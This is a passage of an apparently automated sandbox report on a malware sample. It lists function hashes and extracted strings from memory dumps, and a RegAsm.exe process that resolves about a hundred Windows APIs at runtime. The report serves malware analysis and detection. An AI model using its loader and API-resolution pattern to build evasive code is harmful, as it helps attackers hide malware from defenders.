Instruction Fuzzy Hash: B8E0DF34905208AFDB11DFB8D8447EDBFF6EB08302F9045A5E806D3350E7754A41CB81

Function 05EB6060 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee1105eb5ea0ed24443b035b2d741aa0adf621ea5798619fb6ac51a11a9e54f1
Instruction ID: 99a4edc5fb53b4fff4c549fc7d6c750596bd136880869914fbb7928aa5346dbd
Opcode Fuzzy Hash: ee1105eb5ea0ed24443b035b2d741aa0adf621ea5798619fb6ac51a11a9e54f1
Instruction Fuzzy Hash: C3E0DF70844208EFCB51DFBCD8057EDBFB8EB08311F9012A49809E3340E7B44A41CB40

Function 01AF0D28 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1879874619.0000000001AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1af0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 515053fdafdceda5ba0850fe58599b98edda293bf29c1f2b979199e14e386c81
Instruction ID: a9eccab478409c4a770a8bb11bf65d9cef5e7b83d3b7900ac0dcc90bbfbdb31c
Opcode Fuzzy Hash: 515053fdafdceda5ba0850fe58599b98edda293bf29c1f2b979199e14e386c81
Instruction Fuzzy Hash: B2E0D87090820CEFDB25DFB8A90436CBFB99B06304F44509DF509531C3CB712948C711

Function 01AF0C70 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1879874619.0000000001AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1af0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10ddba97bc142ca74fad6ec5dc3ae2c809cf063ff192bebed27af446de624502
Instruction ID: fc048f5d556ac4899c166b672cc599f924f572dd14c09f2b10179329901ba927
Opcode Fuzzy Hash: 10ddba97bc142ca74fad6ec5dc3ae2c809cf063ff192bebed27af446de624502
Instruction Fuzzy Hash: 95E0263005D3008FCB219BE89CB47B03BB55B4A300F890481F00447653C730A8018762

Function 05EB62A8 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a13d2e46ad418fc594b9f4f410388d1077bf87b080a52d48398da4dc0dbbb357
Instruction ID: 9601884f192c9314e93d169edad65a86f284d210b2d8905d6e8ef3029f29f06b
Opcode Fuzzy Hash: a13d2e46ad418fc594b9f4f410388d1077bf87b080a52d48398da4dc0dbbb357
Instruction Fuzzy Hash: B1E04674D09208EFEB50EFA8E4046EDBBF4FB48301F4091A9E818A3300E7705A48CF80

Function 05EB5428 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a1a3dd27204bf3e97013bbb0794c2d8976a2403d1de3ffa3defe79ad3fa95ed
Instruction ID: b065b68609c6803fd623ec9a47a08fb8dccff7b20a307cf851b77262b5f85cd3
Opcode Fuzzy Hash: 6a1a3dd27204bf3e97013bbb0794c2d8976a2403d1de3ffa3defe79ad3fa95ed
Instruction Fuzzy Hash: 5AE0C230C4520CEFC740EFB8D4056EDBBF8AB08302F5041AAD80A93310FBB00A40CB82

Function 05EB6070 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24b06e6c5c3a31ba4c7d81d8300e1e306eb00fef042579ba0a45749d69e35dd9
Instruction ID: 1e75c52b702334bf4c195e06baa6cca2053fb0490e208ce84970ad54ed5914ca
Opcode Fuzzy Hash: 24b06e6c5c3a31ba4c7d81d8300e1e306eb00fef042579ba0a45749d69e35dd9
Instruction Fuzzy Hash: E8E01274D05308EFD751DFB8D4456EDBBF4EB08312F5051A9D84993340E7B05A94DB41

Function 01AF0848 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1879874619.0000000001AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1af0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4e252ddd7f6c8cd6f51e9387467de473e033c83d0a52b72f3613692098e711f
Instruction ID: 8309b4a8274c9bf9af497f52587a11916bec138514510a4db4975b3aa31a6e6b
Opcode Fuzzy Hash: d4e252ddd7f6c8cd6f51e9387467de473e033c83d0a52b72f3613692098e711f
Instruction Fuzzy Hash: 1BC08C3004E2488EC5225AC8A2087F076BEA30A321FCC140CB70D830538BA01414DBD1

Function 05EB3BE1 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f647e8bcb5c699a2ce86fda615e42e8fce08554bb7ff8c90bde64c171a592739
Instruction ID: 5ab5a29b86a2d9d259ffe082df1355f7ba92bbc244b58ec6be30f18cf304bde3
Opcode Fuzzy Hash: f647e8bcb5c699a2ce86fda615e42e8fce08554bb7ff8c90bde64c171a592739
Instruction Fuzzy Hash: 3BD06778D4522BCBCB61CF14D9486E9BBB5AB18241F1055F5A45AA3200EB301EC08F00

Function 05EB3BD0 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 421ac0dcce9721abd1f49c821045258a2cc259ed6545f75ae9961c18a13384f4
Instruction ID: 59f283ba29b4d8a5397a13a082331d906bf08c3d0a3f90c665a6fe3e99871be4
Opcode Fuzzy Hash: 421ac0dcce9721abd1f49c821045258a2cc259ed6545f75ae9961c18a13384f4
Instruction Fuzzy Hash: B3D06774D4522BCBDB25DF24D989AE9B7B5AB08281F0054FAA45AA3214EA701EC08F00

Function 05EBE420 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6756dd9a735b24a29c9b166de7e93a2193abdaab92449f2c6a91667898ca1817
Instruction ID: da8036c0c3be427de63e43633f4a126df967275f71b5264a5fa08f0a09f024c2
Opcode Fuzzy Hash: 6756dd9a735b24a29c9b166de7e93a2193abdaab92449f2c6a91667898ca1817
Instruction Fuzzy Hash: 06B024F134430077DD0057405F05F45755157D0F01F005441F34C040C4C1F10010F711

Non-executed Functions

Function 05EBF080 Relevance: 6.7, Strings: 5, Instructions: 427COMMON

Download Yara Rule

Strings

Xbq, xrefs: 05EBF2A7
$^q, xrefs: 05EBF28E
Hbq, xrefs: 05EBF22C
$^q, xrefs: 05EBF180
$^q, xrefs: 05EBF18C

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: Hbq$Xbq$$^q$$^q$$^q
API String ID: 0-2230596736
Opcode ID: 0bb372541a6529d9c181e6a25b764590bc4c8f5fd5f4f66003287ecb5464846d
Instruction ID: 7545e995d492bc0aedb70a00c128686f98da9e9f802a2e5a3113e040696ea1b3
Opcode Fuzzy Hash: 0bb372541a6529d9c181e6a25b764590bc4c8f5fd5f4f66003287ecb5464846d
Instruction Fuzzy Hash: AAD10374B042148BEF19AF7888942BF7AB7BFC4611B049429E497DB399DE74CC028B91

Function 01AF3648 Relevance: 12.6, Strings: 10, Instructions: 102COMMON

Download Yara Rule

Strings

P, xrefs: 01AF3789
9, xrefs: 01AF37CC
a, xrefs: 01AF366F
H, xrefs: 01AF3665
q>B, xrefs: 01AF37C2
T, xrefs: 01AF3838
N, xrefs: 01AF3793
L, xrefs: 01AF382E
', xrefs: 01AF40FD
E, xrefs: 01AF37FD

Memory Dump Source

Source File: 0000000A.00000002.1879874619.0000000001AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1af0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: '$9$E$H$L$N$P$T$a$q>B
API String ID: 0-1673224033
Opcode ID: 0f29aa9af3788cc9df25614a48e32394f0b4b1eaa05dc271ad46b3baee795907
Instruction ID: 90c1c5c2e421dfc9043f845324d2314dffb8a8e4e747fcb26f241a82c3c7ccd5
Opcode Fuzzy Hash: 0f29aa9af3788cc9df25614a48e32394f0b4b1eaa05dc271ad46b3baee795907
Instruction Fuzzy Hash: 3C5199B4D052698FDB61DF69D848799BAF0FB49304F0090EAD98DB3245DB799AC0CF80

Function 05EB7658 Relevance: 11.3, Strings: 9, Instructions: 62COMMON

Download Yara Rule

Strings

T`[B, xrefs: 05EB7680
[, xrefs: 05EB779D
(, xrefs: 05EB77A5
=, xrefs: 05EB770C
#, xrefs: 05EB7756
?, xrefs: 05EB765F
W, xrefs: 05EB774F
N, xrefs: 05EB7702
;, xrefs: 05EB76D2

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: #$($;$=$?$N$T`[B$W$[
API String ID: 0-4270146626
Opcode ID: 166bebcfee357aa3a7be6e325183f1dab512c1c9815bec6811cb9017d7a9e883
Instruction ID: bd546b2e9e0c1d5eadcbbee8d25b2bf34ad9eb2b930bcbd4682ec8962241d721
Opcode Fuzzy Hash: 166bebcfee357aa3a7be6e325183f1dab512c1c9815bec6811cb9017d7a9e883
Instruction Fuzzy Hash: AF31A2B4D052A98BEB21DF64C98879DBBBAFB08345F5145E9D048AB240D7B98AC5CF04

Function 05EBCC4D Relevance: 7.5, Strings: 6, Instructions: 42COMMON

Download Yara Rule

Strings

D, xrefs: 05EBCC57
, xrefs: 05EBCC61
., xrefs: 05EBCC4D
0, xrefs: 05EBCC75
., xrefs: 05EBCC7F
1, xrefs: 05EBCC89

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: $.$.$0$1$D
API String ID: 0-3030173322
Opcode ID: d523a3d8cdc24322b4bff5be4f966392ab453f034e63201f0709084af90b220b
Instruction ID: 994c7dbffb2e025d53f243b61beed6c45b4928b42cfaa372adcb6e6412d00aca
Opcode Fuzzy Hash: d523a3d8cdc24322b4bff5be4f966392ab453f034e63201f0709084af90b220b
Instruction Fuzzy Hash: 1521CEB090626A8BEB65CF54DA887CDBBB5AB08304F11A1EAD14CB7240DBB44FC4CF44

Function 05EB6C34 Relevance: 7.5, Strings: 6, Instructions: 23COMMON

Download Yara Rule

Strings

8, xrefs: 05EB6C9D
^, xrefs: 05EB6C5A
sV7A, xrefs: 05EB6C50
#?v@, xrefs: 05EB6C3C
3, xrefs: 05EB6CA8
V, xrefs: 05EB6C89

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: #?v@$3$8$V$^$sV7A
API String ID: 0-103735515
Opcode ID: cde6ad422fd2a4a4b42b9f960761cdaf12ab56da45a53c0ef4051bcdfba3fd91
Instruction ID: a7d1cb40ba5cf24fc3a75931ed15033bd3ecb1b9d9c446626982520a940bd493
Opcode Fuzzy Hash: cde6ad422fd2a4a4b42b9f960761cdaf12ab56da45a53c0ef4051bcdfba3fd91
Instruction Fuzzy Hash: 9301BDB0C056AA8BEB68CF49C854B9ABAB5BB44345F0085DAD00EA7240DBB50AC4CF58

Function 01AF38E0 Relevance: 6.3, Strings: 5, Instructions: 64COMMON

Download Yara Rule

Strings

], xrefs: 01AF393A
f, xrefs: 01AF3963
K, xrefs: 01AF3990
F, xrefs: 01AF39D1
<, xrefs: 01AF3986

Memory Dump Source

Source File: 0000000A.00000002.1879874619.0000000001AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1af0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: <$F$K$]$f
API String ID: 0-3656943038
Opcode ID: 480473121a9950e4622d5b14ae1f41ed00ba7858e18cade5fe4e3077aef575d9
Instruction ID: 8f733c76c1aaacd2b75f0c85fd09b29d09c4e2432b46ae51cd850083c6c80fcc
Opcode Fuzzy Hash: 480473121a9950e4622d5b14ae1f41ed00ba7858e18cade5fe4e3077aef575d9
Instruction Fuzzy Hash: 5021A3B4D05728CFDB20DF29DD44B9AFAB1BB4A315F00A0EAD008B3245DB759A84CF08

Function 01AF2E6F Relevance: 6.3, Strings: 5, Instructions: 52COMMON

Download Yara Rule

Strings

V, xrefs: 01AF2E6F
?, xrefs: 01AF2EB2
>, xrefs: 01AF2F50
b, xrefs: 01AF2E79
_, xrefs: 01AF2F5F

Memory Dump Source

Source File: 0000000A.00000002.1879874619.0000000001AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1af0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: >$?$V$_$b
API String ID: 0-308771716
Opcode ID: 81e8237cc5f0fcf1721d5d9dcb42d442918e2b6b46b0538be31d696d02855fa2
Instruction ID: a5d2a46769c020968ac4b28804ea285a04d15adc51dc375de2271d1a522a52e3
Opcode Fuzzy Hash: 81e8237cc5f0fcf1721d5d9dcb42d442918e2b6b46b0538be31d696d02855fa2
Instruction Fuzzy Hash: 90218CB4E01728CFEB64DFAAD94478DBBF1FB49301F1180AAD409A7649DB745A81CF01

Function 05EBC5DD Relevance: 6.3, Strings: 5, Instructions: 44COMMON

Download Yara Rule

Strings

q>B, xrefs: 05EBC69B
:, xrefs: 05EBC602
*, xrefs: 05EBC65D
$, xrefs: 05EBC63C
", xrefs: 05EBC6A6

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: "$$$*$:$q>B
API String ID: 0-488666108
Opcode ID: 1e25a4723b62bfab63c1beddf4c81b6d5b7de3f613903c656f21a66aa2227677
Instruction ID: 89b8d83459fedf57cdfabb1fa1114d0c2e391b94cd137265fffeebc7072de681
Opcode Fuzzy Hash: 1e25a4723b62bfab63c1beddf4c81b6d5b7de3f613903c656f21a66aa2227677
Instruction Fuzzy Hash: D721D3B0D5526A8BEB64CF59CA887DDFAF2FB44305F1194EAC00CA7210DB744A81CF00

Function 05EBC79D Relevance: 6.3, Strings: 5, Instructions: 35COMMON

Download Yara Rule

Strings

V, xrefs: 05EBC7A7
(, xrefs: 05EBC7B1
0, xrefs: 05EBC84D
b, xrefs: 05EBC842
V, xrefs: 05EBC838

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: ($0$V$V$b
API String ID: 0-874777369
Opcode ID: 2cb30e8c099b5966d5ecff9836ac8ef4ef2b3d74d39197629211c913d64596ef
Instruction ID: 12e05332e41ea0fe03c5f7ae55b7c9e28b3b994ad924cc910a4e475678dd8167
Opcode Fuzzy Hash: 2cb30e8c099b5966d5ecff9836ac8ef4ef2b3d74d39197629211c913d64596ef
Instruction Fuzzy Hash: 851180B0E052698FEB65CF18C99479EBAB6BB49305F5045EA914CA7280DB754FC48F02

Function 01AF106A Relevance: 5.0, Strings: 4, Instructions: 47COMMON

Download Yara Rule

Strings

[, xrefs: 01AF1091
*, xrefs: 01AF1162
?, xrefs: 01AF1130
H, xrefs: 01AF10EC

Memory Dump Source

Source File: 0000000A.00000002.1879874619.0000000001AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1af0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: *$?$H$[
API String ID: 0-358964240
Opcode ID: 3efdd7d7cae572f8f88f46de73005c893e8981d4350e6075c5ee7af8f1d6365b
Instruction ID: 244d7c1fbf0987a712c5e4d7f9b834ea0f3d127de497c355986f85b6f429a15c
Opcode Fuzzy Hash: 3efdd7d7cae572f8f88f46de73005c893e8981d4350e6075c5ee7af8f1d6365b
Instruction Fuzzy Hash: B9218074D00229CFDB60EF69D8447A9BAF0FB48310F0480EAD59DA3245EB355EC08F81

Function 01AF22EF Relevance: 5.0, Strings: 4, Instructions: 30COMMON

Download Yara Rule

Strings

E, xrefs: 01AF22EF
T, xrefs: 01AF2332
6, xrefs: 01AF2355
L, xrefs: 01AF2326

Memory Dump Source

Source File: 0000000A.00000002.1879874619.0000000001AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1af0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: 6$E$L$T
API String ID: 0-2446321545
Opcode ID: db2f40a3d60008d30984f03b4e0f1f30dd4c6886ae66828bd594e56c5d670cda
Instruction ID: db8bfd035cbec6bfb8c28076b8ed2004e46d9e3d9848b35930e29bc972bba469
Opcode Fuzzy Hash: db2f40a3d60008d30984f03b4e0f1f30dd4c6886ae66828bd594e56c5d670cda
Instruction Fuzzy Hash: 66F06DB4C46228CBEBA08F64D944B9AFAB4BB46319F1060D9D60D73245CB78CAC5CF1C

Function 01AF2DD2 Relevance: 5.0, Strings: 4, Instructions: 24COMMON

Download Yara Rule

Strings

0, xrefs: 01AF2DDC
., xrefs: 01AF2DE6
O, xrefs: 01AF2E3A
H, xrefs: 01AF2E2F

Memory Dump Source

Source File: 0000000A.00000002.1879874619.0000000001AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1af0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: .$0$H$O
API String ID: 0-2040544175
Opcode ID: 3477c4125fba50528985fe9019a1ff19af8d46f4f9546cf32608bb73f290baf0
Instruction ID: c0f803e0fd58f34dbdf3a3b7c64b595c64041b0b4b95ce049c9717fa1c1ba8df
Opcode Fuzzy Hash: 3477c4125fba50528985fe9019a1ff19af8d46f4f9546cf32608bb73f290baf0
Instruction Fuzzy Hash: 10F0A4B4D4122ACBDB61CF28D954B9ABAF4FB09318F1054E9E118A7245CB758AC58F44

Analysis Process: RegAsm.exePID: 7964, Parent PID: 7796COMMON

Executed Functions

Function 004195E0 Relevance: 242.2, APIs: 112, Strings: 26, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00EB2860), ref: 004195FD
GetProcAddress.KERNEL32(74DD0000,00EB2880), ref: 00419615
GetProcAddress.KERNEL32(74DD0000,00EBA6C0), ref: 0041962E
GetProcAddress.KERNEL32(74DD0000,00EBA660), ref: 00419646
GetProcAddress.KERNEL32(74DD0000,00EBA7C8), ref: 0041965E
GetProcAddress.KERNEL32(74DD0000,00EBA858), ref: 00419677
GetProcAddress.KERNEL32(74DD0000,00EB4160), ref: 0041968F
GetProcAddress.KERNEL32(74DD0000,00EBA7F8), ref: 004196A7
GetProcAddress.KERNEL32(74DD0000,00EBA768), ref: 004196C0
GetProcAddress.KERNEL32(74DD0000,00EBA678), ref: 004196D8
GetProcAddress.KERNEL32(74DD0000,00EBA5D0), ref: 004196F0
GetProcAddress.KERNEL32(74DD0000,00EB2B20), ref: 00419709
GetProcAddress.KERNEL32(74DD0000,00EB2A60), ref: 00419721
GetProcAddress.KERNEL32(74DD0000,00EB2AC0), ref: 00419739
GetProcAddress.KERNEL32(74DD0000,00EB2A40), ref: 00419752
GetProcAddress.KERNEL32(74DD0000,00EBA7E0), ref: 0041976A
GetProcAddress.KERNEL32(74DD0000,00EBA5E8), ref: 00419782
GetProcAddress.KERNEL32(74DD0000,00EB4368), ref: 0041979B
GetProcAddress.KERNEL32(74DD0000,00EB2A80), ref: 004197B3
GetProcAddress.KERNEL32(74DD0000,00EBA6D8), ref: 004197CB
GetProcAddress.KERNEL32(74DD0000,00EBA6F0), ref: 004197E4
GetProcAddress.KERNEL32(74DD0000,00EBA780), ref: 004197FC
GetProcAddress.KERNEL32(74DD0000,00EBA708), ref: 00419814
GetProcAddress.KERNEL32(74DD0000,00EB2BA0), ref: 0041982D
GetProcAddress.KERNEL32(74DD0000,00EBA798), ref: 00419845
GetProcAddress.KERNEL32(74DD0000,00EBA810), ref: 0041985D
GetProcAddress.KERNEL32(74DD0000,00EBA870), ref: 00419876
GetProcAddress.KERNEL32(74DD0000,00EBA930), ref: 0041988E
GetProcAddress.KERNEL32(74DD0000,00EBA888), ref: 004198A6
GetProcAddress.KERNEL32(74DD0000,00EBA900), ref: 004198BF
GetProcAddress.KERNEL32(74DD0000,00EBA8B8), ref: 004198D7
GetProcAddress.KERNEL32(74DD0000,00EBA8A0), ref: 004198EF
GetProcAddress.KERNEL32(74DD0000,00EBA918), ref: 00419908
GetProcAddress.KERNEL32(74DD0000,00EC04C8), ref: 00419920
GetProcAddress.KERNEL32(74DD0000,00EBA8D0), ref: 00419938
GetProcAddress.KERNEL32(74DD0000,00EBA8E8), ref: 00419951
GetProcAddress.KERNEL32(74DD0000,00EB2CC0), ref: 00419969
GetProcAddress.KERNEL32(74DD0000,00EC0BB0), ref: 00419981
GetProcAddress.KERNEL32(74DD0000,00EB2CE0), ref: 0041999A
GetProcAddress.KERNEL32(74DD0000,00EC0B38), ref: 004199B2
GetProcAddress.KERNEL32(74DD0000,00EC0DF0), ref: 004199CA
GetProcAddress.KERNEL32(74DD0000,00EB2B40), ref: 004199E3
GetProcAddress.KERNEL32(74DD0000,00EB2CA0), ref: 004199FB
LoadLibraryA.KERNEL32(00EC0B98,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A0D
LoadLibraryA.KERNEL32(00EC0C70,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A1E
LoadLibraryA.KERNEL32(00EC0D00,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A30
LoadLibraryA.KERNEL32(00EC0C10,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A42
LoadLibraryA.KERNEL32(00EC0BC8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A53
LoadLibraryA.KERNEL32(00EC0B80,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A65
LoadLibraryA.KERNEL32(00EC0B20,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A77
LoadLibraryA.KERNEL32(00EC0B68,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A88
GetProcAddress.KERNEL32(75290000,00EB29A0), ref: 00419AAA
GetProcAddress.KERNEL32(75290000,00EC0C28), ref: 00419AC2
GetProcAddress.KERNEL32(75290000,00EBA9A8), ref: 00419ADA
GetProcAddress.KERNEL32(75290000,00EC0D78), ref: 00419AF3
GetProcAddress.KERNEL32(75290000,00EB2AE0), ref: 00419B0B
GetProcAddress.KERNEL32(734C0000,00EB42C8), ref: 00419B30
GetProcAddress.KERNEL32(734C0000,00EB2C80), ref: 00419B49
GetProcAddress.KERNEL32(734C0000,00EB44A8), ref: 00419B61
GetProcAddress.KERNEL32(734C0000,00EC0B50), ref: 00419B79
GetProcAddress.KERNEL32(734C0000,00EC0C88), ref: 00419B92
GetProcAddress.KERNEL32(734C0000,00EB2B60), ref: 00419BAA
GetProcAddress.KERNEL32(734C0000,00EB2B80), ref: 00419BC2
GetProcAddress.KERNEL32(734C0000,00EC0E08), ref: 00419BDB
GetProcAddress.KERNEL32(752C0000,00EB2C40), ref: 00419BFC
GetProcAddress.KERNEL32(752C0000,00EB2BC0), ref: 00419C14
GetProcAddress.KERNEL32(752C0000,00EC0D90), ref: 00419C2D
GetProcAddress.KERNEL32(752C0000,00EC0CB8), ref: 00419C45
GetProcAddress.KERNEL32(752C0000,00EB29C0), ref: 00419C5D
GetProcAddress.KERNEL32(74EC0000,00EB4278), ref: 00419C83
GetProcAddress.KERNEL32(74EC0000,00EB4318), ref: 00419C9B
GetProcAddress.KERNEL32(74EC0000,00EC0BE0), ref: 00419CB3
GetProcAddress.KERNEL32(74EC0000,00EB2AA0), ref: 00419CCC
GetProcAddress.KERNEL32(74EC0000,00EB2C20), ref: 00419CE4
GetProcAddress.KERNEL32(74EC0000,00EB4430), ref: 00419CFC
GetProcAddress.KERNEL32(75BD0000,00EC0BF8), ref: 00419D22
GetProcAddress.KERNEL32(75BD0000,00EB2C60), ref: 00419D3A
GetProcAddress.KERNEL32(75BD0000,00EBAA38), ref: 00419D52
GetProcAddress.KERNEL32(75BD0000,00EC0C58), ref: 00419D6B
GetProcAddress.KERNEL32(75BD0000,00EC0DA8), ref: 00419D83
GetProcAddress.KERNEL32(75BD0000,00EB2D00), ref: 00419D9B
GetProcAddress.KERNEL32(75BD0000,00EB2B00), ref: 00419DB4
GetProcAddress.KERNEL32(75BD0000,00EC0C40), ref: 00419DCC
GetProcAddress.KERNEL32(75BD0000,00EC0D30), ref: 00419DE4
GetProcAddress.KERNEL32(75A70000,00EB2BE0), ref: 00419E06
GetProcAddress.KERNEL32(75A70000,00EC0CE8), ref: 00419E1E
GetProcAddress.KERNEL32(75A70000,00EC0CA0), ref: 00419E36
GetProcAddress.KERNEL32(75A70000,00EC0DC0), ref: 00419E4F
GetProcAddress.KERNEL32(75A70000,00EC0DD8), ref: 00419E67
GetProcAddress.KERNEL32(75450000,00EB2C00), ref: 00419E88
GetProcAddress.KERNEL32(75450000,00EB2D20), ref: 00419EA1
GetProcAddress.KERNEL32(75DA0000,00EB2D40), ref: 00419EC2
GetProcAddress.KERNEL32(75DA0000,00EC0D18), ref: 00419EDA
GetProcAddress.KERNEL32(6F090000,00EB29E0), ref: 00419F00
GetProcAddress.KERNEL32(6F090000,00EB2A00), ref: 00419F18
GetProcAddress.KERNEL32(6F090000,00EB2A20), ref: 00419F30
GetProcAddress.KERNEL32(6F090000,00EC0CD0), ref: 00419F49
GetProcAddress.KERNEL32(6F090000,00EC1628), ref: 00419F61
